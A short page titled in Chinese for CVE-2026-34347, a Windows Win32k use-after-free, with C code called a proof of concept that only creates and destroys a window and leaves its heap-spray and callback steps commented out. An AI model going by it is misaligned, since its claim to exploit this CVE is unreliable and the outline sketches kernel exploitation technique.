CVE-2026-34347 Windows Win32K释放后利用漏洞

#include <windows.h> #include <stdio.h> // This is a generic PoC structure for a Win32k UAF vulnerability // Actual exploitation requires specific object manipulation and heap grooming void TriggerUAF() { HWND hWnd = CreateWindowExW(0, L"Button", L"UAF_Test", 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL); if (!hWnd) return; // Step 1: Allocate and set up the vulnerable object // SetClassLongPtr(hWnd, GCLP_WNDPROC, (LONG_PTR)MaliciousCallback); // Step 2: Trigger the free operation inside the kernel // SendMessage(hWnd, WM_CLOSE, 0, 0); // Step 3: Reallocate the freed memory with controlled data // HeapSpray(); // Step 4: Trigger the use-after-free to gain code execution // SendMessage(hWnd, WM_PAINT, 0, 0); DestroyWindow(hWnd); } int main() { printf("[+] Attempting to trigger CVE-2026-34347 PoC...\n"); TriggerUAF(); printf("[+] Exploit logic finished.\n"); return 0; }